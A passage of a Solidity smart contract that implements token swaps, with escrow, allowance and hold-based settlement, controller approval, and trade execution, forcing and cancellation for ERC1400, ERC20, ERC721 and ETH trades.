mapping(address => address[]) internal _tokenControllers;
// Mapping from (token, operator) to token controller status.
mapping(address => mapping(address => bool)) internal _isTokenController;
// Mapping from token to variable price start date.
mapping(address => uint256) internal _variablePriceStartDate;
/**
* @dev Modifier to verify if sender is a token controller.
*/
modifier onlyTokenController(address tokenAddress) {
require(
_msgSender() == Ownable(tokenAddress).owner() ||
_isTokenController[tokenAddress][_msgSender()],
Errors.SW_SENDER_NOT_TOKEN_CONTROLLER
);
_;
}
/**
* @dev Modifier to verify if sender is a price oracle.
*/
modifier onlyPriceOracle(address tokenAddress) {
require(_checkPriceOracle(tokenAddress, _msgSender()), Errors.SW_SENDER_NOT_PRICE_ORACLE);
_;
}
/**
* [Swaps CONSTRUCTOR]
* @dev Initialize Swaps + register
* the contract implementation in ERC1820Registry.
*/
constructor(bool owned) {
ERC1820Implementer._setInterface(DELIVERY_VS_PAYMENT);
ERC1820Implementer._setInterface(ERC1400_TOKENS_RECIPIENT);
setInterfaceImplementation(ERC1400_TOKENS_RECIPIENT, address(this));
_ownedContract = owned;
if(_ownedContract) {
address[] memory initialTradeExecuters = new address[] (1);
initialTradeExecuters[0] = _msgSender();
_setTradeExecuters(initialTradeExecuters);
}
}
/**
* [ERC1400TokensRecipient INTERFACE (1/2)]
* @dev Indicate whether or not the Swaps contract can receive the tokens or not. [USED FOR ERC1400 TOKENS ONLY]
* @param data Information attached to the token transfer.
* @param operatorData Information attached to the Swaps transfer, by the operator.
* @return 'true' if the Swaps contract can receive the tokens, 'false' if not.
*/
function canReceive(bytes calldata, bytes32, address, address, address, uint, bytes calldata data, bytes calldata operatorData) external override view returns(bool) {
return(_canReceive(data, operatorData));
}
/**
* [ERC1400TokensRecipient INTERFACE (2/2)]
* @dev Hook function executed when tokens are sent to the Swaps contract. [USED FOR ERC1400 TOKENS ONLY]
* @param partition Name of the partition.
* @param from Token holder.
* @param to Token recipient.
* @param value Number of tokens to transfer.
* @param data Information attached to the token transfer.
* @param operatorData Information attached to the Swaps transfer, by the operator.
*/
function tokensReceived(bytes calldata, bytes32 partition, address, address from, address to, uint value, bytes memory data, bytes calldata operatorData) external override {
require(interfaceAddr(_msgSender(), "ERC1400Token") == _msgSender(), Errors.TR_SENDER_NOT_ERC1400_TOKEN); // funds locked (lockup period)
require(to == address(this), Errors.TR_TO_ADDRESS_NOT_ME); // 0x50 transfer failure
require(_canReceive(data, operatorData), Errors.TR_INVALID_RECEIVER); // 0x57 invalid receiver
bytes32 flag = _getTradeFlag(data);
if(flag == TRADE_PROPOSAL_FLAG) {
address recipient;
address executor;
uint256 expirationDate;
uint256 settlementDate;
assembly {
recipient:= mload(add(data, 64))
executor:= mload(add(data, 96))
expirationDate:= mload(add(data, 128))
settlementDate:= mload(add(data, 160))
}
// Token data: < 1: address > < 2: amount > < 3: id/partition > < 4: standard > < 5: accepted > < 6: approved >
UserTradeData memory _tradeData1 = UserTradeData(_msgSender(), value, partition, Standard.ERC1400, true, false, TradeType.Escrow, address(0));
UserTradeData memory _tokenData2 = _getTradeTokenData(data);
_requestTrade(
from,
recipient,
executor,
expirationDate,
settlementDate,
_tradeData1,
_tokenData2
);
} else if (flag == TRADE_ACCEPTANCE_FLAG) {
uint256 index;
bytes32 preimage = bytes32(0);
assembly {
index:= mload(add(data, 64))
}
if (data.length == 96) {
//This field is optional
//If the data's length does not include the preimage
//then return an empty preimage
//canReceive accepts both data lengths
assembly {
preimage:= mload(add(data, 96))
}
}
Trade storage trade = _trades[index];
UserTradeData memory selectedUserTradeData = (from == trade.holder1) ? trade.userTradeData1 : trade.userTradeData2;
require(_msgSender() == selectedUserTradeData.tokenAddress, Errors.SW_WRONG_TOKEN_SENT);
require(partition == selectedUserTradeData.tokenId, Errors.SW_TOKENS_IN_WRONG_PARTITION);
require(Standard.ERC1400 == selectedUserTradeData.tokenStandard, Errors.SW_TOKEN_INCORRECT_STANDARD);
_acceptTrade(index, from, 0, value, preimage);
}
}
/**
* @dev Create a new trade request in the Swaps smart contract.
* @param inputData The input for this function
*/
function requestTrade(TradeRequestInput calldata inputData, bytes32 preimage)
external
payable
{
_requestTrade(
inputData.holder1,
inputData.holder2,
inputData.executer,
inputData.expirationDate,
inputData.settlementDate,
UserTradeData(inputData.tokenAddress1, inputData.tokenValue1, inputData.tokenId1, inputData.tokenStandard1, false, false, inputData.tradeType1, inputData.receiver1),
UserTradeData(inputData.tokenAddress2, inputData.tokenValue2, inputData.tokenId2, inputData.tokenStandard2, false, false, inputData.tradeType2, inputData.receiver2)
);
if(_msgSender() == inputData.holder1 || _msgSender() == inputData.holder2) {
_acceptTrade(_index, _msgSender(), msg.value, 0, preimage);
}
}
/**
* @dev Create a new trade request in the Swaps smart contract.
* @param holder1 Address of the first token holder.
* @param holder2 Address of the second token holder.
* @param executer Executer of the trade.
* @param expirationDate Expiration date of the trade.
* @param userTradeData1 Encoded pack of variables for token1 (address, amount, id/partition, standard, accepted, approved).
* @param userTradeData2 Encoded pack of variables for token2 (address, amount, id/partition, standard, accepted, approved).
*/
function _requestTrade(
address holder1,
address holder2,
address executer, // Set to address(0) if no executer is required for the trade
uint256 expirationDate,
uint256 settlementDate,
UserTradeData memory userTradeData1,
UserTradeData memory userTradeData2
)
internal
{
if(userTradeData1.tokenStandard == Standard.ETH) {
require(userTradeData1.tradeType == TradeType.Escrow, Errors.SW_ETH_TRADE_REQUIRES_ESCROW);
}
if(userTradeData2.tokenStandard == Standard.ETH) {
require(userTradeData2.tradeType == TradeType.Escrow, Errors.SW_ETH_TRADE_REQUIRES_ESCROW);
}
if (userTradeData1.tradeType == TradeType.Hold) {
require(userTradeData1.tokenStandard == Standard.ERC20 || userTradeData1.tokenStandard == Standard.ERC1400, Errors.SW_TOKEN_STANDARD_NOT_SUPPORTED);
require(userTradeData1.tokenId != bytes32(0), Errors.SW_NO_HOLDID_GIVEN);
}
if (userTradeData2.tradeType == TradeType.Hold) {
require(userTradeData2.tokenStandard == Standard.ERC20 || userTradeData2.tokenStandard == Standard.ERC1400, Errors.SW_TOKEN_STANDARD_NOT_SUPPORTED);
require(userTradeData2.tokenId != bytes32(0), Errors.SW_NO_HOLDID_GIVEN);
}
if(_ownedContract) {
require(_isTradeExecuter[executer], Errors.SW_TRADE_EXECUTER_NOT_ALLOWED);
}
require(holder1 != address(0), Errors.ZERO_ADDRESS_NOT_ALLOWED);
_index++;
uint256 _expirationDate = (expirationDate > block.timestamp) ? expirationDate : (block.timestamp + SECONDS_IN_MONTH);
_trades[_index] = Trade({
holder1: holder1,
holder2: holder2,
executer: executer,
expirationDate: _expirationDate,
settlementDate: settlementDate,
userTradeData1: userTradeData1,
userTradeData2: userTradeData2,
state: State.Pending
});
}
/**
* @dev Accept a given trade (+ potentially escrow tokens).
* @param index Index of the trade to be accepted.
*/
function acceptTrade(uint256 index, bytes32 preimage) external payable {
_acceptTrade(index, _msgSender(), msg.value, 0, preimage);
}
/**
* @dev Accept a given trade (+ potentially escrow tokens).
* @param index Index of the trade to be accepted.
* @param sender Message sender
* @param ethValue Value sent (only used for ETH)
* @param erc1400TokenValue Value sent (only used for ERC1400)
*/
function _acceptTrade(uint256 index, address sender, uint256 ethValue, uint256 erc1400TokenValue, bytes32 preimage) internal {
Trade storage trade = _trades[index];
require(trade.state == State.Pending, Errors.SW_TRADE_NOT_PENDING);
address recipientHolder;
if(sender == trade.holder1) {
recipientHolder = trade.holder2;
} else if(sender == trade.holder2) {
recipientHolder = trade.holder1;
} else if(trade.holder2 == address(0)) {
trade.holder2 = sender;
recipientHolder = trade.holder1;
} else {
revert(Errors.SW_ONLY_REGISTERED_HOLDERS);
}
UserTradeData memory selectedUserTradeData = (sender == trade.holder1) ? trade.userTradeData1 : trade.userTradeData2;
require(!selectedUserTradeData.accepted, Errors.SW_TRADE_ALREADY_ACCEPTED);
if(selectedUserTradeData.tradeType == TradeType.Escrow) {
if(selectedUserTradeData.tokenStandard == Standard.ETH) {
require(ethValue == selectedUserTradeData.tokenValue, Errors.SW_ETH_AMOUNT_INCORRECT);
} else if(selectedUserTradeData.tokenStandard == Standard.ERC20) {
IERC20(selectedUserTradeData.tokenAddress).transferFrom(sender, address(this), selectedUserTradeData.tokenValue);
} else if(selectedUserTradeData.tokenStandard == Standard.ERC721) {
IERC721(selectedUserTradeData.tokenAddress).transferFrom(sender, address(this), uint256(selectedUserTradeData.tokenId));
} else if((selectedUserTradeData.tokenStandard == Standard.ERC1400) && erc1400TokenValue == 0){
IERC1400(selectedUserTradeData.tokenAddress).operatorTransferByPartition(selectedUserTradeData.tokenId, sender, address(this), selectedUserTradeData.tokenValue, abi.encodePacked(BYPASS_ACTION_FLAG), abi.encodePacked(BYPASS_ACTION_FLAG));
} else if((selectedUserTradeData.tokenStandard == Standard.ERC1400) && erc1400TokenValue != 0){
require(erc1400TokenValue == selectedUserTradeData.tokenValue, Errors.SW_TOKEN_AMOUNT_INCORRECT);
}
} else if (selectedUserTradeData.tradeType == TradeType.Hold) {
require(_holdExists(sender, recipientHolder, selectedUserTradeData), Errors.SW_HOLD_DOESNT_EXIST);
} else { // trade.tradeType == TradeType.Allowance
require(_allowanceIsProvided(sender, selectedUserTradeData), Errors.SW_ALLOWANCE_NOT_GIVEN);
}
if(sender == trade.holder1) {
trade.userTradeData1.accepted = true;
} else {
trade.userTradeData2.accepted = true;
}
bool settlementDatePassed = block.timestamp >= trade.settlementDate;
bool tradeApproved = getTradeApprovalStatus(index);
//Execute both holds of a trade if the following conditions are met
//* There is no executer set. Only the executer should execute transactions if one is defined
//* Both trade types are holds
//* The trade is approved. Token controllers must pre-approve this trade. This is also true if the token has no token controllers
//* If both holds exist according to _holdExists
//* If the current block timestamp is after the settlement date
if (settlementDatePassed && trade.executer == address(0) && trade.userTradeData1.tradeType == TradeType.Hold && trade.userTradeData2.tradeType == TradeType.Hold && tradeApproved) {
//we know selectedUserTradeData has a hold that exists, so check the other one
UserTradeData memory otherUserTradeData = (sender == trade.holder1) ? trade.userTradeData2 : trade.userTradeData1;
if (_holdExists(recipientHolder, sender, otherUserTradeData)) {
//If both holds exist, then mark both sides of trade as accepted
//Next if will execute trade
trade.userTradeData1.accepted = true;
trade.userTradeData2.accepted = true;
}
}
if(
trade.executer == address(0) && getTradeAcceptanceStatus(index) && tradeApproved && settlementDatePassed) {
_executeTrade(index, preimage);
}
}
/**
* @dev Verify if a trade has been accepted by the token holders.
*
* The trade needs to be accepted by both parties (token holders) before it gets executed.
*
* @param index Index of the trade to be accepted.
*/
function getTradeAcceptanceStatus(uint256 index) public view returns(bool) {
Trade storage trade = _trades[index];
if(trade.state == State.Pending) {
if(trade.userTradeData1.tradeType == TradeType.Allowance && !_allowanceIsProvided(trade.holder1, trade.userTradeData1)) {
return false;
}
if(trade.userTradeData2.tradeType == TradeType.Allowance && !_allowanceIsProvided(trade.holder2, trade.userTradeData2)) {
return false;
}
}
return(trade.userTradeData1.accepted && trade.userTradeData2.accepted);
}
/**
* @dev Verify if a token allowance has been provided in token smart contract.
*
* @param sender Address of the sender.
* @param userTradeData Encoded pack of variables for the token (address, amount, id/partition, standard, accepted, approved).
*/
function _allowanceIsProvided(address sender, UserTradeData memory userTradeData) internal view returns(bool) {
address tokenAddress = userTradeData.tokenAddress;
uint256 tokenValue = userTradeData.tokenValue;
bytes32 tokenId = userTradeData.tokenId;
Standard tokenStandard = userTradeData.tokenStandard;
if(tokenStandard == Standard.ERC20) {
return(IERC20(tokenAddress).allowance(sender, address(this)) >= tokenValue);
} else if(tokenStandard == Standard.ERC721) {
return(IERC721(tokenAddress).getApproved(uint256(tokenId)) == address(this));
} else if(tokenStandard == Standard.ERC1400){
return(IERC1400(tokenAddress).allowanceByPartition(tokenId, sender, address(this)) >= tokenValue);
}
return true;
}
function approveTrade(uint256 index, bool approved) external {
approveTradeWithPreimage(index, approved, 0);
}
/**
* @dev Approve a trade (if the tokens involved in the trade are controlled)
*
* This function can only be called by a token controller of one of the tokens involved in the trade.
*
* Indeed, when a token smart contract is controlled by an owner, the owner can decide to open the
* secondary market by:
* - Allowlisting the Swaps smart contract
* - Setting "token controllers" in the Swaps smart contract, in order to approve all the trades made with his token
*
* @param index Index of the trade to be executed.
* @param approved 'true' if trade is approved, 'false' if not.
*/
function approveTradeWithPreimage(uint256 index, bool approved, bytes32 preimage) public {
Trade storage trade = _trades[index];
require(trade.state == State.Pending, Errors.SW_TRADE_ALREADY_ACCEPTED);
require(_isTokenController[trade.userTradeData1.tokenAddress][_msgSender()] || _isTokenController[trade.userTradeData2.tokenAddress][_msgSender()], Errors.SW_SENDER_NOT_TOKEN_CONTROLLER);
if(_isTokenController[trade.userTradeData1.tokenAddress][_msgSender()]) {
trade.userTradeData1.approved = approved;
}
if(_isTokenController[trade.userTradeData2.tokenAddress][_msgSender()]) {
trade.userTradeData2.approved = approved;
}
if(trade.executer == address(0) && getTradeAcceptanceStatus(index) && getTradeApprovalStatus(index)) {
_executeTrade(index, preimage);
}
}
/**
* @dev Verify if a trade has been approved by the token controllers.
*
* In case a given token has token controllers, those need to validate the trade before it gets executed.
*
* @param index Index of the trade to be approved.
*/
function getTradeApprovalStatus(uint256 index) public view returns(bool) {
Trade storage trade = _trades[index];
if(_tokenControllers[trade.userTradeData1.tokenAddress].length != 0 && !trade.userTradeData1.approved) {
return false;
}
if(_tokenControllers[trade.userTradeData2.tokenAddress].length != 0 && !trade.userTradeData2.approved) {
return false;
}
return true;
}
function executeTrade(uint256 index) external {
executeTradeWithPreimage(index, 0);
}
/**
* @dev Execute a trade in the Swaps contract if possible (e.g. if tokens have been esccrowed, in case it is required).
*
* This function can only be called by the executer specified at trade creation.
* If no executer is specified, the trade can be launched by anyone.
*
* @param index Index of the trade to be executed.
*/
function executeTradeWithPreimage(uint256 index, bytes32 preimage) public {
Trade storage trade = _trades[index];
require(trade.state == State.Pending, Errors.SW_TRADE_NOT_PENDING);
if(trade.executer != address(0)) {
require(_msgSender() == trade.executer, Errors.SW_SENDER_NOT_EXECUTER);
}
require(block.timestamp >= trade.settlementDate, Errors.SW_BEFORE_SETTLEMENT_DATE);
require(getTradeAcceptanceStatus(index), Errors.SW_TRADE_NOT_FULLY_ACCEPTED);
require(getTradeApprovalStatus(index), Errors.SW_TRADE_NOT_FULLY_APPROVED);
_executeTrade(index, preimage);
}
/**
* @dev Execute a trade in the Swaps contract if possible (e.g. if tokens have been esccrowed, in case it is required).
* @param index Index of the trade to be executed.
*/
function _executeTrade(uint256 index, bytes32 preimage) internal {
Trade storage trade = _trades[index];
uint256 price = getPrice(index);
uint256 tokenValue1 = trade.userTradeData1.tokenValue;
uint256 tokenValue2 = trade.userTradeData2.tokenValue;
if(price == tokenValue2) {
_transferUsersTokens(index, Holder.Holder1, tokenValue1, false, preimage);
_transferUsersTokens(index, Holder.Holder2, tokenValue2, false, preimage);
} else {
//Holds cannot move a specific amount of tokens
//So require that if the price is less than the value
//that the trade is not a hold trade
require(price <= tokenValue2 && trade.userTradeData2.tradeType != TradeType.Hold, Errors.SW_PRICE_HIGHER_THAN_AMOUNT);
_transferUsersTokens(index, Holder.Holder1, tokenValue1, false, preimage);
_transferUsersTokens(index, Holder.Holder2, price, false, preimage);
if(trade.userTradeData2.tradeType == TradeType.Escrow) {
_transferUsersTokens(index, Holder.Holder2, tokenValue2 - price, true, preimage);
}
}
trade.state = State.Executed;
}
function forceTrade(uint256 index) external {
forceTradeWithPreimage(index, 0);
}
/**
* @dev Force a trade execution in the Swaps contract by transferring tokens back to their target recipients.
* @param index Index of the trade to be forced.
*/
function forceTradeWithPreimage(uint256 index, bytes32 preimage) public {
Trade storage trade = _trades[index];
require(trade.state == State.Pending, Errors.SW_TRADE_NOT_PENDING);
address tokenAddress1 = trade.userTradeData1.tokenAddress;
uint256 tokenValue1 = trade.userTradeData1.tokenValue;
bool accepted1 = trade.userTradeData1.accepted;
address tokenAddress2 = trade.userTradeData2.tokenAddress;
uint256 tokenValue2 = trade.userTradeData2.tokenValue;
bool accepted2 = trade.userTradeData2.accepted;
require(!(accepted1 && accepted2), Errors.SW_EXECUTE_TRADE_POSSIBLE);
require(_tokenControllers[tokenAddress1].length == 0 && _tokenControllers[tokenAddress2].length == 0, "Trade can not be forced if tokens have controllers");
if(trade.executer != address(0)) {
require(_msgSender() == trade.executer, Errors.SW_ONLY_EXECUTER_CAN_FORCE_TRADE);
} else if(accepted1) {
require(_msgSender() == trade.holder1, Errors.SW_SENDER_CANT_FORCE_TRADE);
} else if(accepted2) {
require(_msgSender() == trade.holder2, Errors.SW_SENDER_CANT_FORCE_TRADE);
} else {
revert(Errors.SW_FORCE_TRADE_NOT_POSSIBLE_NO_TOKENS);
}
if(accepted1) {
_transferUsersTokens(index, Holder.Holder1, tokenValue1, false, preimage);
}
if(accepted2) {
_transferUsersTokens(index, Holder.Holder2, tokenValue2, false, preimage);
}
trade.state = State.Forced;
}
/**
* @dev Cancel a trade execution in the Swaps contract by transferring tokens back to their initial owners.
* @param index Index of the trade to be cancelled.
*/
function cancelTrade(uint256 index) external {
Trade storage trade = _trades[index];
require(trade.state == State.Pending, Errors.SW_TRADE_NOT_PENDING);
uint256 tokenValue1 = trade.userTradeData1.tokenValue;
bool accepted1 = trade.userTradeData1.accepted;
uint256 tokenValue2 = trade.userTradeData2.tokenValue;
bool accepted2 = trade.userTradeData2.accepted;
if(accepted1 && accepted2) {
require(_msgSender() == trade.executer || (block.timestamp >= trade.expirationDate && (_msgSender() == trade.holder1 || _msgSender() == trade.holder2) ), Errors.SW_SENDER_CANT_CANCEL_TRADE_0);
if(trade.userTradeData1.tradeType == TradeType.Escrow) {
_transferUsersTokens(index, Holder.Holder1, tokenValue1, true, bytes32(0));
}
if(trade.userTradeData2.tradeType == TradeType.Escrow) {
_transferUsersTokens(index, Holder.Holder2, tokenValue2, true, bytes32(0));
}
} else if(accepted1) {
require(_msgSender() == trade.executer || (block.timestamp >= trade.expirationDate && _msgSender() == trade.holder1), Errors.SW_SENDER_CANT_CANCEL_TRADE_1);
if(trade.userTradeData1.tradeType == TradeType.Escrow) {
_transferUsersTokens(index, Holder.Holder1, tokenValue1, true, bytes32(0));
}
} else if(accepted2) {
require(_msgSender() == trade.executer || (block.timestamp >= trade.expirationDate && _msgSender() == trade.holder2), Errors.SW_SENDER_CANT_CANCEL_TRADE_2);
if(trade.userTradeData2.tradeType == TradeType.Escrow) {
_transferUsersTokens(index, Holder.Holder2, tokenValue2, true, bytes32(0));
}
} else {
require(_msgSender() == trade.executer || _msgSender() == trade.holder1 || _msgSender() == trade.holder2, Errors.SW_SENDER_CANT_CANCEL_TRADE_3);
}
trade.state = State.Cancelled;
}
function _transferUsersTokens(uint256 index, Holder holder, uint256 value, bool revertTransfer, bytes32 preimage) internal {
Trade storage trade = _trades[index];
UserTradeData memory senderUserTradeData = (holder == Holder.Holder1) ? trade.userTradeData1 : trade.userTradeData2;
TradeType tokenTradeType = senderUserTradeData.tradeType;
if (tokenTradeType == TradeType.Hold) {
_executeHoldOnUsersTokens(index, holder, value, revertTransfer, preimage);
} else {
_executeTransferOnUsersTokens(index, holder, value, revertTransfer);
}
}
function _executeHoldOnUsersTokens(uint256 index, Holder holder, uint256, bool, bytes32 preimage) internal {
Trade storage trade = _trades[index];
address sender = (holder == Holder.Holder1) ? trade.holder1 : trade.holder2;
address recipient = (holder == Holder.Holder1) ? trade.holder2 : trade.holder1;
UserTradeData memory senderUserTradeData = (holder == Holder.Holder1) ? trade.userTradeData1 : trade.userTradeData2;
require(block.timestamp <= trade.expirationDate, Errors.SW_TRADE_EXPIRED);
address tokenAddress = senderUserTradeData.tokenAddress;
bytes32 tokenId = senderUserTradeData.tokenId;
Standard tokenStandard = senderUserTradeData.tokenStandard;
require(tokenStandard == Standard.ERC20 || tokenStandard == Standard.ERC1400, Errors.SW_TOKEN_STANDARD_NOT_SUPPORTED);
require(_holdExists(sender, recipient, senderUserTradeData), Errors.SW_HOLD_DOESNT_EXIST);
_executeHold(tokenAddress, tokenId, tokenStandard, preimage, recipient);
}
/**
* @dev Internal function to transfer tokens to their recipient by taking the token standard into account.
* @param index Index of the trade the token transfer is execcuted for.
* @param holder Sender of the tokens (currently owning the tokens).
* @param value Amount of tokens to send.
* @param revertTransfer If set to true + trade has been accepted, tokens need to be sent back to their initial owners instead of sent to the target recipient.
*/
function _executeTransferOnUsersTokens(uint256 index, Holder holder, uint256 value, bool revertTransfer) internal {
Trade storage trade = _trades[index];
UserTradeData storage senderUserTradeData = (holder == Holder.Holder1) ? trade.userTradeData1 : trade.userTradeData2;
UserTradeData storage recipientUserTradeData = (holder == Holder.Holder1) ? trade.userTradeData2 : trade.userTradeData1;
address sender = (holder == Holder.Holder1) ? trade.holder1 : trade.holder2;
address recipient = recipientUserTradeData.receiver;
if (recipient == address(0)) {
recipient = (holder == Holder.Holder1) ? trade.holder2 : trade.holder1;
}
address tokenAddress = senderUserTradeData.tokenAddress;
bytes32 tokenId = senderUserTradeData.tokenId;
Standard tokenStandard = senderUserTradeData.tokenStandard;
address currentHolder = sender;
if(senderUserTradeData.tradeType == TradeType.Escrow) {
currentHolder = address(this);
}
if(revertTransfer) {
recipient = sender;
} else {
require(block.timestamp <= trade.expirationDate, Errors.SW_TRADE_EXPIRED);
}
if(tokenStandard == Standard.ETH) {
address payable payableRecipient = payable(recipient);
payableRecipient.transfer(value);
} else if(tokenStandard == Standard.ERC20) {
if(currentHolder == address(this)) {
IERC20(tokenAddress).transfer(recipient, value);
} else {
IERC20(tokenAddress).transferFrom(currentHolder, recipient, value);
}
} else if(tokenStandard == Standard.ERC721) {
IERC721(tokenAddress).transferFrom(currentHolder, recipient, uint256(tokenId));
} else if(tokenStandard == Standard.ERC1400) {
IERC1400(tokenAddress).operatorTransferByPartition(tokenId, currentHolder, recipient, value, "", "");
}
}
function _executeHold(
address token,
bytes32 tokenHoldId,
Standard tokenStandard,
bytes32 preimage,
address tokenRecipient
) internal {
// Token 1
if (tokenStandard == Standard.ERC20) {
require(token != address(0), Errors.ZERO_ADDRESS_NOT_ALLOWED);
IERC20HoldableToken(token).executeHold(tokenHoldId, preimage);
} else if (tokenStandard == Standard.ERC1400) {
require(token != address(0), Errors.ZERO_ADDRESS_NOT_ALLOWED);
address tokenExtension = interfaceAddr(token, ERC1400_TOKENS_VALIDATOR);
require(
tokenExtension != address(0),
Errors.SW_HOLD_TOKEN_EXTENSION_MISSING
);
uint256 holdValue;
(,,,,holdValue,,,,) = IHoldableERC1400TokenExtension(tokenExtension).retrieveHoldData(token, tokenHoldId);
IHoldableERC1400TokenExtension(tokenExtension).executeHold(
token,
tokenHoldId,
holdValue,
preimage
);
} else {
revert(Errors.SW_TOKEN_STANDARD_NOT_SUPPORTED);
}
emit ExecutedHold(
token,
tokenHoldId,
preimage,
tokenRecipient
);
}
function _holdExists(address sender, address recipient, UserTradeData memory userTradeData) internal view returns(bool) {
address tokenAddress = userTradeData.tokenAddress;
bytes32 holdId = userTradeData.tokenId;
Standard tokenStandard = userTradeData.tokenStandard;
if(tokenStandard == Standard.ERC1400) {
address tokenExtension = interfaceAddr(tokenAddress, ERC1400_TOKENS_VALIDATOR);
require(
tokenExtension != address(0),
Errors.SW_HOLD_TOKEN_EXTENSION_MISSING
);
HoldStatusCode holdStatus;
address holdSender;
address holdRecipient;
uint256 holdValue;
address notary;
bytes32 secretHash;
(,holdSender,holdRecipient,notary,holdValue,,secretHash,,holdStatus) = IHoldableERC1400TokenExtension(tokenExtension).retrieveHoldData(tokenAddress, holdId);
return holdStatus == HoldStatusCode.Ordered && holdValue == userTradeData.tokenValue && (holdSender == sender || holdSender == address(0)) && holdRecipient == recipient && (secretHash != bytes32(0) || notary == address(this));
} else if (tokenStandard == Standard.ERC20) {
ERC20HoldData memory data = IERC20HoldableToken(tokenAddress).retrieveHoldData(holdId);
return (data.sender == sender || data.sender == address(0)) && data.recipient == recipient && data.amount == userTradeData.tokenValue && data.status == HoldStatusCode.Ordered && (data.secretHash != bytes32(0) || data.notary == address(this));
} else {
revert(Errors.SW_TOKEN_INCORRECT_STANDARD);
}
}
/**
* @dev Indicate whether or not the Swaps contract can receive the tokens or not.
*
* By convention, the 32 first bytes of a token transfer to the Swaps smart contract contain a flag.
*
* - When tokens are transferred to Swaps contract to propose a new trade. The 'data' field starts with the
* following flag: 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
* In this case the data structure is the the following:
* <tradeFlag (32 bytes)><recipient address (32 bytes)><executer address (32 bytes)><expiration date (32 bytes)><requested token data (4 * 32 bytes)>
*
* - When tokens are transferred to Swaps contract to accept an existing trade. The 'data' field starts with the
* following flag: 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
* In this case the data structure is the the following:
* <tradeFlag (32 bytes)><request index (32 bytes)>
*
* If the 'data' doesn't start with one of those flags, the Swaps contract won't accept the token transfer.
*
* @param data Information attached to the Swaps transfer.
* @param operatorData Information attached to the Swaps transfer, by the operator.
* @return 'true' if the Swaps contract can receive the tokens, 'false' if not.
*/
function _canReceive(bytes memory data, bytes memory operatorData) internal pure returns(bool) {
if(operatorData.length == 0) { // The reason for this check is to avoid a certificate gets interpreted as a flag by mistake
return false;
}
bytes32 flag = _getTradeFlag(data);
if(data.length == 320 && flag == TRADE_PROPOSAL_FLAG) {
return true;
} else if ((data.length == 64 || data.length == 96) && flag == TRADE_ACCEPTANCE_FLAG) {
return true;
} else if (data.length == 32 && flag == BYPASS_ACTION_FLAG) {
return true;
} else {
return false;
}
}
/**
* @dev Retrieve the trade flag from the 'data' field.
*
* By convention, the 32 first bytes of a token transfer to the Swaps smart contract contain a flag.
* - When tokens are transferred to Swaps contract to propose a new trade. The 'data' field starts with the
* following flag: 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
* - When tokens are transferred to Swaps contract to accept an existing trade. The 'data' field starts with the
* following flag: 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
*
* @param data Concatenated information about the trade proposal.
* @return flag Trade flag.
*/
function _getTradeFlag(bytes memory data) internal pure returns(bytes32 flag) {
assembly {
flag:= mload(add(data, 32))
}
}
/**
* By convention, when tokens are transferred to Swaps contract to propose a new trade, the 'data' of a token transfer has the following structure:
* <tradeFlag (32 bytes)><recipient address (32 bytes)><executer address (32 bytes)><expiration date (32 bytes)><requested token data (5 * 32 bytes)>
*
* The first 32 bytes are the flag 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
*
* The next 32 bytes contain the trade recipient address (or the zero address if the recipient is not chosen).
*
* The next 32 bytes contain the trade executer address (or zero if the executer is not chosen).
*
* The next 32 bytes contain the trade expiration date (or zero if the expiration date is not chosen).
*
* The next 32 bytes contain the trade requested token address (or the zero address if the recipient is not chosen).
* The next 32 bytes contain the trade requested token amount.
* The next 32 bytes contain the trade requested token id/partition (used when token standard is ERC721 or ERC1400).
* The next 32 bytes contain the trade requested token standard (OffChain, ERC20, ERC721, ERC1400, ETH).
* The next 32 bytes contain a boolean precising wether trade has been accepted by token holder or not.
* The next 32 bytes contain a boolean precising wether trade has been approved by token controller or not.
*
* Example input for recipient address '0xb5747835141b46f7C472393B31F8F5A57F74A44f', expiration date '1576348418',
* trade executer address '0x32F54098916ceb5f57a117dA9554175Fe25611bA', requested token address '0xC6F0410A667a5BEA528d6bc9efBe10270089Bb11',
* requested token amount '5', requested token id/partition '37252', and requested token type 'ERC1400', accepted and approved:
* 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc000000000000000000000000b5747835141b46f7C472393B31F8F5A57F74A44f
* 000000000000000000000000000000000000000000000000000000157634841800000000000000000000000032F54098916ceb5f57a117dA9554175Fe25611bA
* 000000000000000000000000C6F0410A667a5BEA528d6bc9efBe10270089Bb110000000000000000000000000000000000000000000000000000000000000005
* 000000000000000000000000000000000000000000000000000000000037252000000000000000000000000000000000000000000000000000000000000002
* 000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001
*/
/**
* @dev Retrieve the tokenData from the 'data' field.
*
* @param data Concatenated information about the trade proposal.
* @return tokenData Trade token data < 1: address > < 2: amount > < 3: id/partition > < 4: standard > < 5: accepted > < 6: approved >.
*/
function _getTradeTokenData(bytes memory data) internal pure returns(UserTradeData memory tokenData) {
address tokenAddress;
uint256 tokenAmount;
bytes32 tokenId;
Standard tokenStandard;
TradeType tradeType;
assembly {
tokenAddress:= mload(add(data, 192))
tokenAmount:= mload(add(data, 224))
tokenId:= mload(add(data, 256))
tokenStandard:= mload(add(data, 288))
tradeType:= mload(add(data, 320))
}
tokenData = UserTradeData(
tokenAddress,
tokenAmount,
tokenId,
tokenStandard,
false,
false,
tradeType,
address(0) //TODO Should this be included in data?
);
}
/**
* @dev Retrieve the trade index from the 'data' field.
*
* By convention, when tokens are transferred to Swaps contract to accept an existing trade, the 'data' of a token transfer has the following structure:
* <tradeFlag (32 bytes)><index uint256 (32 bytes)>
*
* The first 32 bytes are the flag 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
*
* The next 32 bytes contain the trade index.
*
* Example input for trade index #2985:
* 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd0000000000000000000000000000000000000000000000000000000000002985
*
* @param data Concatenated information about the trade validation.
* @return index Trade index.
*/
/**************************** TRADE EXECUTERS *******************************/
/**
* @dev Renounce ownership of the contract.
*/
function renounceOwnership() public override onlyOwner {
Ownable.renounceOwnership();
_ownedContract = false;
}
/**
* @dev Get the list of trade executers as defined by the Swaps contract.
* @return List of addresses of all the trade executers.
*/
function tradeExecuters() external view returns (address[] memory) {
return _tradeExecuters;
}
/**
* @dev Set list of trade executers for the Swaps contract.
* @param operators Trade executers addresses.
*/
